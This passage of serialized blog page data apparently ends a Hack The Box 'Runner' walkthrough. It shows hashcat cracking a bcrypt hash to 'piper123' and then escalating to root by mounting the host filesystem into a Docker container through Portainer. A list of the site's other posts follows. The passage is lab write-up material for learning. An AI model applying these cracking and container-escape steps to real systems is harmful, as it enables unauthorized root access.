skipped\n",[28,3761,3762],{"class":30,"line":88},[28,3763,71],{"emptyLinePlaceholder":70},[28,3765,3766,3768,3770,3772,3775,3778,3780],{"class":30,"line":94},[28,3767,3696],{"class":34},[28,3769,3699],{"class":54},[28,3771,3702],{"class":169},[28,3773,3774],{"class":201},"2.1",[28,3776,3777],{"class":54}," LINUX",[28,3779,3741],{"class":169},[28,3781,3782],{"class":44},"#2 [Intel(R) Corporation]\n",[28,3784,3785],{"class":30,"line":113},[28,3786,3787],{"class":54},"==================================================================\n",[28,3789,3790,3792,3794],{"class":30,"line":122},[28,3791,2206],{"class":965},[28,3793,3756],{"class":169},[28,3795,3796],{"class":44},"#2: AMD EPYC 7543 32-Core Processor, 3919\u002F7902 MB (987 MB allocatable), 4MCU\n",[28,3798,3799],{"class":30,"line":131},[28,3800,71],{"emptyLinePlaceholder":70},[28,3802,3803,3806,3809,3812,3815,3818,3821],{"class":30,"line":139},[28,3804,3805],{"class":34},"Minimum",[28,3807,3808],{"class":54}," password",[28,3810,3811],{"class":54}," length",[28,3813,3814],{"class":54}," supported",[28,3816,3817],{"class":54}," by",[28,3819,3820],{"class":54}," kernel:",[28,3822,3823],{"class":201}," 0\n",[28,3825,3826,3829,3831,3833,3835,3837,3839],{"class":30,"line":346},[28,3827,3828],{"class":34},"Maximum",[28,3830,3808],{"class":54},[28,3832,3811],{"class":54},[28,3834,3814],{"class":54},[28,3836,3817],{"class":54},[28,3838,3820],{"class":54},[28,3840,3841],{"class":201}," 72\n",[28,3843,3844],{"class":30,"line":361},[28,3845,71],{"emptyLinePlaceholder":70},[28,3847,3848,3851,3853,3856,3858,3860,3863,3866,3868,3870],{"class":30,"line":376},[28,3849,3850],{"class":34},"Hashes:",[28,3852,234],{"class":201},[28,3854,3855],{"class":54}," digests",[28,3857,951],{"class":615},[28,3859,234],{"class":34},[28,3861,3862],{"class":54}," unique",[28,3864,3865],{"class":54}," digests,",[28,3867,234],{"class":201},[28,3869,3862],{"class":54},[28,3871,3872],{"class":54}," salts\n",[28,3874,3875,3878,3881,3884,3887,3890,3893,3896,3899,3902,3905],{"class":30,"line":400},[28,3876,3877],{"class":34},"Bitmaps:",[28,3879,3880],{"class":201}," 16",[28,3882,3883],{"class":54}," bits,",[28,3885,3886],{"class":201}," 65536",[28,3888,3889],{"class":54}," entries,",[28,3891,3892],{"class":201}," 0x0000ffff",[28,3894,3895],{"class":54}," mask,",[28,3897,3898],{"class":201}," 262144",[28,3900,3901],{"class":54}," bytes,",[28,3903,3904],{"class":54}," 5\u002F13",[28,3906,3907],{"class":54}," rotates\n",[28,3909,3910,3913],{"class":30,"line":431},[28,3911,3912],{"class":34},"Rules:",[28,3914,3915],{"class":201}," 1\n",[28,3917,3918],{"class":30,"line":448},[28,3919,71],{"emptyLinePlaceholder":70},[28,3921,3922,3925],{"class":30,"line":466},[28,3923,3924],{"class":34},"Optimizers",[28,3926,3927],{"class":54}," applied:\n",[28,3929,3930,3932],{"class":30,"line":487},[28,3931,2206],{"class":965},[28,3933,3934],{"class":169}," Zero-Byte\n",[28,3936,3937,3939],{"class":30,"line":503},[28,3938,2206],{"class":965},[28,3940,3941],{"class":169}," Single-Hash\n",[28,3943,3944,3946],{"class":30,"line":519},[28,3945,2206],{"class":965},[28,3947,3948],{"class":169}," Single-Salt\n",[28,3950,3951],{"class":30,"line":548},[28,3952,71],{"emptyLinePlaceholder":70},[28,3954,3955,3958,3961,3964,3967,3969,3972,3974,3977],{"class":30,"line":563},[28,3956,3957],{"class":34},"Watchdog:",[28,3959,3960],{"class":54}," Hardware",[28,3962,3963],{"class":54}," monitoring",[28,3965,3966],{"class":54}," interface",[28,3968,1807],{"class":54},[28,3970,3971],{"class":54}," found",[28,3973,481],{"class":54},[28,3975,3976],{"class":54}," your",[28,3978,3979],{"class":54}," system.\n",[28,3981,3982,3984,3987,3990,3993],{"class":30,"line":580},[28,3983,3957],{"class":34},[28,3985,3986],{"class":54}," Temperature",[28,3988,3989],{"class":54}," abort",[28,3991,3992],{"class":54}," trigger",[28,3994,3995],{"class":54}," disabled.\n",[28,3997,3998],{"class":30,"line":625},[28,3999,71],{"emptyLinePlaceholder":70},[28,4001,4002,4004,4007,4010,4012,4015,4018,4020],{"class":30,"line":658},[28,4003,821],{"class":34},[28,4005,4006],{"class":54}," memory",[28,4008,4009],{"class":54}," required",[28,4011,208],{"class":54},[28,4013,4014],{"class":54}," this",[28,4016,4017],{"class":54}," attack:",[28,4019,1669],{"class":201},[28,4021,4022],{"class":54}," MB\n",[28,4024,4025],{"class":30,"line":671},[28,4026,71],{"emptyLinePlaceholder":70},[28,4028,4029,4032,4034],{"class":30,"line":688},[28,4030,4031],{"class":34},"Dictionary",[28,4033,3102],{"class":54},[28,4035,4036],{"class":54}," hit:\n",[28,4038,4039,4041],{"class":30,"line":699},[28,4040,2206],{"class":965},[28,4042,4043],{"class":169}," Filename..: \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n",[28,4045,4046,4048],{"class":30,"line":715},[28,4047,2206],{"class":965},[28,4049,4050],{"class":169}," Passwords.: 14344385\n",[28,4052,4053,4055],{"class":30,"line":732},[28,4054,2206],{"class":965},[28,4056,4057],{"class":169}," Bytes.....: 139921507\n",[28,4059,4060,4062],{"class":30,"line":743},[28,4061,2206],{"class":965},[28,4063,4064],{"class":169}," Keyspace..: 14344385\n",[28,4066,4067],{"class":30,"line":758},[28,4068,71],{"emptyLinePlaceholder":70},[28,4070,4071,4074],{"class":30,"line":775},[28,4072,4073],{"class":3581},"$2a$07$q",[28,4075,4076],{"class":169},".m8WQP8niXODv55lJVovOmxGtg6K\u002FYPHbD48\u002FJQsdGLulmeVo.Em:piper123\n",[28,4078,4079],{"class":30,"line":786},[28,4080,4081],{"class":169},"                                                          \n",[28,4083,4084,4087],{"class":30,"line":801},[28,4085,4086],{"class":34},"Session..........:",[28,4088,4089],{"class":54}," hashcat\n",[28,4091,4092,4095],{"class":30,"line":818},[28,4093,4094],{"class":34},"Status...........:",[28,4096,4097],{"class":54}," Cracked\n",[28,4099,4100,4103,4106,4109,4112,4114,4117,4119,4122],{"class":30,"line":851},[28,4101,4102],{"class":34},"Hash.Mode........:",[28,4104,4105],{"class":201}," 3200",[28,4107,4108],{"class":169}," (bcrypt ",[28,4110,4111],{"class":3581},"$2",[28,4113,2206],{"class":3581},[28,4115,4116],{"class":169},"$",[28,4118,1910],{"class":54},[28,4120,4121],{"class":54}," Blowfish",[28,4123,4124],{"class":169}," (Unix))\n",[28,4126,4127,4130,4132],{"class":30,"line":873},[28,4128,4129],{"class":34},"Hash.Target......:",[28,4131,3608],{"class":3581},[28,4133,4134],{"class":54},".m8WQP8niXODv55lJVovOmxGtg6K\u002FYPHbD48\u002FJQsdGL...eVo.Em\n",[28,4136,4137,4140,4142,4144,4146,4149,4152,4154,4157,4160,4163],{"class":30,"line":896},[28,4138,4139],{"class":34},"Time.Started.....:",[28,4141,2580],{"class":54},[28,4143,2583],{"class":54},[28,4145,2586],{"class":201},[28,4147,4148],{"class":54}," 17:36:08",[28,4150,4151],{"class":201}," 2024",[28,4153,419],{"class":169},[28,4155,4156],{"class":54},"min,",[28,4158,4159],{"class":201}," 31",[28,4161,4162],{"class":54}," secs",[28,4164,428],{"class":169},[28,4166,4167,4170,4172,4174,4176,4179,4181,4184,4187],{"class":30,"line":914},[28,4168,4169],{"class":34},"Time.Estimated...:",[28,4171,2580],{"class":54},[28,4173,2583],{"class":54},[28,4175,2586],{"class":201},[28,4177,4178],{"class":54}," 17:37:39",[28,4180,4151],{"class":201},[28,4182,4183],{"class":169}," (0 ",[28,4185,4186],{"class":54},"secs",[28,4188,428],{"class":169},[28,4190,4191,4194,4197],{"class":30,"line":962},[28,4192,4193],{"class":34},"Kernel.Feature...:",[28,4195,4196],{"class":54}," Pure",[28,4198,4199],{"class":54}," Kernel\n",[28,4201,4202,4205,4208],{"class":30,"line":975},[28,4203,4204],{"class":34},"Guess.Base.......:",[28,4206,4207],{"class":54}," File",[28,4209,4210],{"class":169}," (\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt)\n",[28,4212,4213,4216,4219],{"class":30,"line":989},[28,4214,4215],{"class":34},"Guess.Queue......:",[28,4217,4218],{"class":54}," 1\u002F1",[28,4220,4221],{"class":169}," (100.00%)\n",[28,4223,4224,4227,4230,4233],{"class":30,"line":1000},[28,4225,4226],{"class":34},"Speed.#2.........:",[28,4228,4229],{"class":201},"      571",[28,4231,4232],{"class":54}," H\u002Fs",[28,4234,4235],{"class":169}," (3.22ms) @ Accel:4 Loops:16 Thr:1 Vec:1\n",[28,4237,4238,4241,4243,4246,4248,4251,4254,4257,4260],{"class":30,"line":1013},[28,4239,4240],{"class":34},"Recovered........:",[28,4242,4218],{"class":54},[28,4244,4245],{"class":169}," (100.00%) Digests (",[28,4247,422],{"class":34},[28,4249,4250],{"class":169},"), 1\u002F1 (",[28,4252,4253],{"class":34},"100.00%",[28,4255,4256],{"class":169},") Digests (",[28,4258,4259],{"class":34},"new",[28,4261,428],{"class":169},[28,4263,4264,4267,4270],{"class":30,"line":1024},[28,4265,4266],{"class":34},"Progress.........:",[28,4268,4269],{"class":54}," 52032\u002F14344385",[28,4271,4272],{"class":169}," (0.36%)\n",[28,4274,4275,4278,4281],{"class":30,"line":1051},[28,4276,4277],{"class":34},"Rejected.........:",[28,4279,4280],{"class":54}," 0\u002F52032",[28,4282,4283],{"class":169}," (0.00%)\n",[28,4285,4286,4289,4292],{"class":30,"line":1064},[28,4287,4288],{"class":34},"Restore.Point....:",[28,4290,4291],{"class":54}," 52016\u002F14344385",[28,4293,4272],{"class":169},[28,4295,4296,4299,4302,4305],{"class":30,"line":1074},[28,4297,4298],{"class":34},"Restore.Sub.#2...:",[28,4300,4301],{"class":54}," Salt:0",[28,4303,4304],{"class":54}," Amplifier:0-1",[28,4306,4307],{"class":54}," Iteration:112-128\n",[28,4309,4310,4313,4316],{"class":30,"line":1094},[28,4311,4312],{"class":34},"Candidate.Engine.:",[28,4314,4315],{"class":54}," Device",[28,4317,4318],{"class":54}," Generator\n",[28,4320,4321,4324,4327,4329,4331],{"class":30,"line":1114},[28,4322,4323],{"class":34},"Candidates.#2....:",[28,4325,4326],{"class":54}," pokadots",[28,4328,1105],{"class":169},[28,4330,1913],{"class":965},[28,4332,4333],{"class":54}," photosynthesis\n",[28,4335,4336],{"class":30,"line":1138},[28,4337,71],{"emptyLinePlaceholder":70},[28,4339,4340,4343,4345,4347,4349,4352],{"class":30,"line":1157},[28,4341,4342],{"class":34},"Started:",[28,4344,2580],{"class":54},[28,4346,2583],{"class":54},[28,4348,2586],{"class":201},[28,4350,4351],{"class":54}," 17:36:01",[28,4353,2598],{"class":201},[28,4355,4356,4359,4361,4363,4365,4368],{"class":30,"line":1163},[28,4357,4358],{"class":34},"Stopped:",[28,4360,2580],{"class":54},[28,4362,2583],{"class":54},[28,4364,2586],{"class":201},[28,4366,4367],{"class":54}," 17:37:40",[28,4369,2598],{"class":201},[11,4371,4372],{},"We can now log in to Portainer with the password from the cracked hash.",[11,4374,4375],{},[1520,4376],{"alt":23,"src":4377},"\u002Fimages\u002Fposts\u002Fhack-the-box-runner\u002Fattachments\u002Fimage-20240720143541707.webp",[11,4379,4380],{},"Before launching a new Docker container, it is essential to create a volume. This volume will store data during the container's initialization and operation. Additionally, we need to configure the driver settings to allow us to mount the root directory into the Docker container later. To achieve this, we configure the driver options in the volume settings. Docker volumes can be tailored to behave in certain ways through these options. By specifying these options during the setup of a Docker volume, we can control how the volume operates. To mimic an sda device, we might consider options that affect the volume's mounting and management within the container.",[11,4382,4383],{},[1520,4384],{"alt":23,"src":4385},"\u002Fimages\u002Fposts\u002Fhack-the-box-runner\u002Fattachments\u002Fimage-20240720143618762.webp",[11,4387,4388],{},"Create new container with Ubuntu image.",[11,4390,4391],{},[1520,4392],{"alt":23,"src":4393},"\u002Fimages\u002Fposts\u002Fhack-the-box-runner\u002Fattachments\u002Fimage-20240720143654083.webp",[11,4395,4396],{},"Tick \"Interactive & TTY\" in the console options.",[11,4398,4399],{},[1520,4400],{"alt":23,"src":4401},"\u002Fimages\u002Fposts\u002Fhack-the-box-runner\u002Fattachments\u002Fimage-20240720143735991.webp",[11,4403,4404],{},"Set container volume mapping for \"\"\u002Fmnt\u002Froot\" in the advanced container settings.",[11,4406,4407],{},[1520,4408],{"alt":23,"src":4409},"\u002Fimages\u002Fposts\u002Fhack-the-box-runner\u002Fattachments\u002Fimage-20240720143816610.webp",[11,4411,4412],{},"Deploy the container.",[11,4414,4415],{},[1520,4416],{"alt":23,"src":4417},"\u002Fimages\u002Fposts\u002Fhack-the-box-runner\u002Fattachments\u002Fimage-20240720143913511.webp",[11,4419,4420],{},"Enter the container console. We are root and can access the root.txt.",[11,4422,4423],{},[1520,4424],{"alt":23,"src":4425},"\u002Fimages\u002Fposts\u002Fhack-the-box-runner\u002Fattachments\u002Fimage-20240720143953441.webp",[11,4427,4428],{},"That's it for the room.",[11,4430,4431],{},[1520,4432],{"alt":23,"src":4433},"\u002Fimages\u002Fposts\u002Fhack-the-box-runner\u002Fattachments\u002Fimage-20240720144112002.webp",[4435,4436,4437],"style",{},"html pre.shiki code .s59W0, html code.shiki .s59W0{--shiki-default:#FABD2F}html pre.shiki code .s-UKz, html code.shiki .s-UKz{--shiki-default:#928374;--shiki-default-font-style:italic}html pre.shiki code .sTqo2, html code.shiki .sTqo2{--shiki-default:#B8BB26}html pre.shiki code .sG605, html code.shiki .sG605{--shiki-default:#FE8019}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sM0OT, html code.shiki .sM0OT{--shiki-default:#EBDBB2}html pre.shiki code .ssIPD, html code.shiki .ssIPD{--shiki-default:#D3869B}html pre.shiki code .svnLg, html code.shiki .svnLg{--shiki-default:#A89984}html pre.shiki code .sM2RB, html code.shiki .sM2RB{--shiki-default:#8EC07C}html pre.shiki code .sMWUE, html code.shiki .sMWUE{--shiki-default:#83A598}",{"title":23,"searchDepth":48,"depth":48,"links":4439},[],"hack-the-box","2024-07-20","Walkthrough for the \"Runner\" Hack the Box Challenge",false,"md","\u002Fimages\u002Fposts\u002Fhack-the-box-runner\u002Fcover.webp",{},"\u002Fposts\u002Fhack-the-box-runner",{"title":5,"description":4442},"posts\u002Fhack-the-box-runner",[4451,4452],"writeup","linux","ovSnlrTn4GVpSx3tNrTpP_Jit1UenuFM3VGxQOXkius",[4455,4468,4478,4489,4496,4502,4510,4518,4523,4530,4536,4545,4552,4559,4566,4572,4579,4585,4591,4599,4610,4616,4622,4628,4634,4636,4642,4648,4654,4660,4666,4672,4679,4685,4691,4699,4705,4712],{"path":4456,"title":4457,"description":4458,"date":4459,"category":4460,"alsoIn":4461,"series":6,"tags":4463,"readingTime":94},"\u002Fposts\u002Fbarista","Barista: One Exe to Install Doppio and Ristretto","The 2FA series ends with two LSA components, an unsigned DLL in lsass and a dozen steps that have to happen in the right order. Barista is a wizard that does them one reboot at a time, from a single exe with every binary embedded and hash-checked.","2026-10-16","tools",[4462],"windows",[4462,4464,4465,4466,4467],"lsa","2fa","credential-provider","security",{"path":4469,"title":4470,"description":4471,"date":4472,"category":4462,"alsoIn":4473,"series":4474,"tags":4475,"readingTime":758},"\u002Fposts\u002Fwindows-2fa-gating-network-logons","Build Your Own 2FA for the Windows Logon, Part 3: Gating Network Logons","Part 2 refuses every network logon for an enrolled account, which makes the account safe and useless. Part 3 adds a gate you open once with a one-time code, so SMB, RPC and WinRM work again for a short window. In C++, with the full source.","2026-10-11",[4460],"Doppio · 3-part series",[4462,4464,4476,4477,4465,4467],"ntlm","smb",{"path":4479,"title":4480,"description":4481,"date":4482,"category":4460,"alsoIn":6,"series":6,"tags":4483,"readingTime":67},"\u002Fposts\u002Fadhardenkit","ADHardenKit: Hardening AD Without Breaking It","LDAP signing, SMB signing, NTLM, Kerberos with AES only. Every hardening checklist has them. I wrote a tool that turns them on in an order that doesn't break the domain.","2026-10-07",[4484,4485,4486,4487,4476,4488],"active-directory","windows-server","powershell","hardening","kerberos",{"path":4490,"title":4491,"description":4492,"date":4493,"category":4460,"alsoIn":6,"series":6,"tags":4494,"readingTime":74},"\u002Fposts\u002Fntlm-analyzer","NTLM-Analyzer: Find Out Who Still Uses NTLM","Windows logs a lot of NTLM activity, but you have to piece it together yourself. I built a tool that shows which users and programs still use NTLMv1 or NTLMv2, and what already runs over Kerberos.","2026-10-03",[4484,4476,4488,4495,4485],"auditing",{"path":4497,"title":4498,"description":4499,"date":4500,"category":4462,"alsoIn":6,"series":4474,"tags":4501,"readingTime":715},"\u002Fposts\u002Fwindows-2fa-inside-lsa","Build Your Own 2FA for the Windows Logon, Part 2: Inside LSA","The credential provider from Part 1 only sees the logon screen. Part 2 goes into LSA to close the paths it can't reach, with an authentication package and an MSV1_0 sub-authentication filter in C++.","2026-10-01",[4462,4466,4464,4465,4467],{"path":4503,"title":4504,"description":4505,"date":4506,"category":4462,"alsoIn":4507,"series":4474,"tags":4508,"readingTime":1180},"\u002Fposts\u002Fwindows-2fa-credential-provider","Build Your Own 2FA for the Windows Logon","How a Credential Provider works and how to build a working TOTP 2FA for local Windows accounts in C++. With rate limiting, replay protection and logging.","2026-09-30",[4460],[4462,4466,4465,4509,4467],"totp",{"path":4511,"title":4512,"description":4513,"date":4514,"category":4460,"alsoIn":6,"series":6,"tags":4515,"readingTime":48},"\u002Fposts\u002Fadtierkit-active-directory-tiering","ADTierKit: Automatic AD-Tiering","I got tired of building tier models by hand, so I wrote a tool for it. One PowerShell script, one JSON file.","2026-08-06",[4484,4485,4486,4516,4517],"tiering","laps",{"path":4519,"title":4520,"description":4521,"date":4514,"category":4484,"alsoIn":6,"series":6,"tags":4522,"readingTime":122},"\u002Fposts\u002Fldap-ldaps-and-active-directory","The thing with LDAP, LDAPS and Active Directory","Why LDAPS rarely fixes what security reports worry about, why you can't just block port 389, and what actually protects LDAP in Active Directory.",[],{"path":4524,"title":4525,"description":4526,"date":4527,"category":4452,"alsoIn":6,"series":6,"tags":4528,"readingTime":48},"\u002Fposts\u002Finstall-tor-exit-node","Install Tor Exit Node","How to run a Tor exit node on an anonymously rented VPS: paying with Monero, picking the provider and the country, and installing and configuring Tor.","2025-09-30",[4529],"tor",{"path":4531,"title":4532,"description":4533,"date":4534,"category":4484,"alsoIn":6,"series":6,"tags":4535,"readingTime":31},"\u002Fposts\u002Fconfigure-kerberos-armoring","Configure Kerberos Armoring","Kerberos Armoring (FAST) protects the Kerberos exchange against offline brute force, replay and tampering. How to enable it in your domain with a GPO.","2025-07-28",[4488],{"path":4537,"title":4538,"description":4539,"date":4540,"category":4541,"alsoIn":6,"series":6,"tags":4542,"readingTime":1000},"\u002Fposts\u002Fexchange-2019-install","Installation guide for Exchange SE and Exchange 2019","Install Exchange Server Subscription Edition (SE) or Exchange Server 2019 step by step and harden it, with WAF rules on the Sophos XG, SPF, DMARC, DKIM and more. The installation is the same for both versions.","2025-06-26","exchange",[4541,4543,4544],"exchange-se","exchange-2019",{"path":4546,"title":4547,"description":4548,"date":4549,"category":4484,"alsoIn":6,"series":6,"tags":4550,"readingTime":94},"\u002Fposts\u002Fhow-ntlm-works-active-directory","How NTLM works in Active Directory","How NTLM proves that you know a password without sending it, what the domain controller does, the difference between NTLMv1 and NTLMv2, and why Microsoft is phasing it out.","2025-05-07",[4476,4484,4551],"authentication",{"path":4553,"title":4554,"description":4555,"date":4556,"category":4484,"alsoIn":6,"series":6,"tags":4557,"readingTime":58},"\u002Fposts\u002Fadfs-installation","ADFS Installation","Basic installation guide for Active Directory Federation Services","2025-01-27",[4558],"adfs",{"path":4560,"title":4561,"description":4562,"date":4563,"category":4484,"alsoIn":6,"series":6,"tags":4564,"readingTime":48},"\u002Fposts\u002Fexample-pass-the-hash-attack","Pass the Hash Attack Example","Example of a pass the hash attack","2025-01-22",[4565],"pass-the-hash",{"path":4567,"title":4568,"description":4569,"date":4570,"category":4484,"alsoIn":6,"series":6,"tags":4571,"readingTime":74},"\u002Fposts\u002Fhow-kerberos-works-active-directory","How Kerberos works in Active Directory","How Kerberos works in Active Directory, step by step: the TGT, the service ticket and the request to the service, and why no password crosses the network.","2025-01-16",[4488],{"path":4573,"title":4574,"description":4575,"date":4576,"category":4462,"alsoIn":6,"series":6,"tags":4577,"readingTime":48},"\u002Fposts\u002Fconfigure-credential-guard-computer-accounts","Configure Credential Guard for Computer Accounts","Windows Server 2025 can move computer account passwords into Credential Guard. How to enable it by GPO, and why turning it off means a new domain join.","2025-01-15",[4578],"credential-guard",{"path":4580,"title":4581,"description":4582,"date":4583,"category":4462,"alsoIn":6,"series":6,"tags":4584,"readingTime":58},"\u002Fposts\u002Fconfigure-credential-guard-windows","Configure Credential Guard","How Credential Guard shields NTLM hashes and Kerberos tickets, how to enable it by GPO on older clients and servers, and how to check that it runs.","2025-01-13",[4578],{"path":4586,"title":4587,"description":4588,"date":4583,"category":4462,"alsoIn":6,"series":6,"tags":4589,"readingTime":48},"\u002Fposts\u002Fosconfig-windows-server-2025-security","OSConfig - Security Settings for Windows Server 2025","OSConfig applies Microsoft's recommended security settings on Windows Server 2025 without GPOs. Install the module, list templates, enable a baseline.",[4590],"osconfig",{"path":4592,"title":4593,"description":4594,"date":4595,"category":4462,"alsoIn":6,"series":6,"tags":4596,"readingTime":48},"\u002Fposts\u002Fsecure-iis-modsecurity","Secure IIS with Modsecurity","Installation guide to secure IIS with Modsecurity","2025-01-12",[4597,4598],"iis","modsecurity",{"path":4600,"title":4601,"description":4602,"date":4603,"category":4484,"alsoIn":6,"series":6,"tags":4604,"readingTime":113},"\u002Fposts\u002Fvcsa-certificate-windows-pki","Issue VCSA Certificate with Windows PKI","Replace the self-signed vCenter (VCSA) certificate with a SubCA certificate from your Windows PKI, using the VCSA Certificate Manager and WinSCP.","2025-01-09",[4605,4606,4607,4608,4609],"ad-cs","pki","vmware","vcsa","vcenter",{"path":4611,"title":4612,"description":4613,"date":4614,"category":4484,"alsoIn":6,"series":6,"tags":4615,"readingTime":775},"\u002Fposts\u002Fwindows-pki-installation","Installation guide for a Windows PKI","Step-by-step guide for a two-tier Windows PKI with root CA, sub CA and a separate CRL server, plus certificate templates, OCSP and web enrollment.","2024-12-20",[4605,4606],{"path":4617,"title":4618,"description":4619,"date":4620,"category":4440,"alsoIn":6,"series":6,"tags":4621,"readingTime":113},"\u002Fposts\u002Fhack-the-box-administrator","Hack The Box: Administrator","Walkthrough for the \"Administrator\" Hack the Box Challenge","2024-11-19",[4451,4462,4484],{"path":4623,"title":4624,"description":4625,"date":4626,"category":4484,"alsoIn":6,"series":6,"tags":4627,"readingTime":38},"\u002Fposts\u002Fsecure-active-directory-part-1","Secure Active Directory - Part 1","Part 1 of the guide to a secure Active Directory","2024-09-09",[],{"path":4629,"title":4630,"description":4631,"date":4632,"category":4440,"alsoIn":6,"series":6,"tags":4633,"readingTime":131},"\u002Fposts\u002Fhack-the-box-greenhorn","Hack The Box: Greenhorn","Walkthrough for the \"Greenhorn\" Hack the Box Challenge","2024-07-24",[4451,4452],{"path":4447,"title":5,"description":4442,"date":4441,"category":4440,"alsoIn":6,"series":6,"tags":4635,"readingTime":94},[4451,4452],{"path":4637,"title":4638,"description":4639,"date":4640,"category":4440,"alsoIn":6,"series":6,"tags":4641,"readingTime":31},"\u002Fposts\u002Fhack-the-box-ghost","Hack The Box: Ghost","Walkthrough for the \"Ghost\" Hack the Box Challenge","2024-07-18",[4451,4462,4484],{"path":4643,"title":4644,"description":4645,"date":4646,"category":4440,"alsoIn":6,"series":6,"tags":4647,"readingTime":83},"\u002Fposts\u002Fhack-the-box-knife","Hack The Box: Knife","Walkthrough for the \"Knife\" Hack the Box Challenge","2024-07-15",[4451,4452],{"path":4649,"title":4650,"description":4651,"date":4652,"category":4440,"alsoIn":6,"series":6,"tags":4653,"readingTime":48},"\u002Fposts\u002Fhack-the-box-broker","Hack The Box: Broker","Walkthrough for the \"Broker\" Hack the Box Challenge","2024-07-10",[4451,4452],{"path":4655,"title":4656,"description":4657,"date":4658,"category":4440,"alsoIn":6,"series":6,"tags":4659,"readingTime":31},"\u002Fposts\u002Fhack-the-box-permx","Hack The Box: PermX","Walkthrough zur \"PermX\" Hack the Box Challenge","2024-07-08",[4451,4452],{"path":4661,"title":4662,"description":4663,"date":4664,"category":4440,"alsoIn":6,"series":6,"tags":4665,"readingTime":48},"\u002Fposts\u002Fhack-the-box-lame","Hack The Box: Lame","Walkthrough zur \"Lame\" Hack the Box Challenge","2024-07-06",[4451,4452],{"path":4667,"title":4668,"description":4669,"date":4670,"category":4440,"alsoIn":6,"series":6,"tags":4671,"readingTime":58},"\u002Fposts\u002Fhack-the-box-analytics","Hack The Box: Analytics","Walkthrough zur \"Analytics\" Hack the Box Challenge","2024-06-30",[4451,4452],{"path":4673,"title":4674,"description":4675,"date":4676,"category":4440,"alsoIn":6,"series":6,"tags":4677,"readingTime":67},"\u002Fposts\u002Fhack-the-box-sense","Hack The Box: Sense","Walkthrough zur \"Sense\" Hack the Box Challenge","2024-06-28",[4451,4678],"freebsd",{"path":4680,"title":4681,"description":4682,"date":4683,"category":4440,"alsoIn":6,"series":6,"tags":4684,"readingTime":122},"\u002Fposts\u002Fhack-the-box-mailing","Hack The Box: Mailing","Walkthrough zur \"Mailing\" Hack the Box Challenge","2024-06-26",[4451,4462],{"path":4686,"title":4687,"description":4688,"date":4689,"category":4440,"alsoIn":6,"series":6,"tags":4690,"readingTime":48},"\u002Fposts\u002Fhack-the-box-jerry","Hack The Box: Jerry","Walkthrough zur \"Jerry\" Hack the Box Challenge","2024-06-20",[4451,4462],{"path":4692,"title":4693,"description":4694,"date":4695,"category":4452,"alsoIn":6,"series":6,"tags":4696,"readingTime":31},"\u002Fposts\u002Flinux-ssh-telegram-notifications","Setting up notifications via Telegram for SSH login\u002Flogoff","Get a Telegram message every time someone logs in to or out of your Linux server over SSH, with a Telegram bot, a small script and PAM.","2024-06-01",[4697,4698],"ssh","monitoring",{"path":4700,"title":4701,"description":4702,"date":4703,"category":4440,"alsoIn":6,"series":6,"tags":4704,"readingTime":376},"\u002Fposts\u002Fhack-the-box-forest","Hack The Box: Forest","Walkthrough zur \"Forest\" Hack the Box Challenge","2024-05-20",[4451,4462,4484],{"path":4706,"title":4707,"description":4708,"date":4709,"category":4541,"alsoIn":6,"series":6,"tags":4710,"readingTime":31},"\u002Fposts\u002Fpowershell-connect-to-exchange-online","Verbindung zu Exchange Online mit Powershell","Wie man sich mit PowerShell mit Exchange Online verbindet: das Modul ExchangeOnlineManagement installieren, aktuell halten und die Verbindung herstellen.","2023-10-23",[4711,4486],"m365",{"path":4713,"title":4714,"description":4715,"date":4716,"category":4541,"alsoIn":6,"series":6,"tags":4717,"readingTime":31},"\u002Fposts\u002Fexchange-october-2023-updates","Exchange Server","Neue Sicherheitsupdates (Oktober 2023)","2023-10-18",[],1792195052533]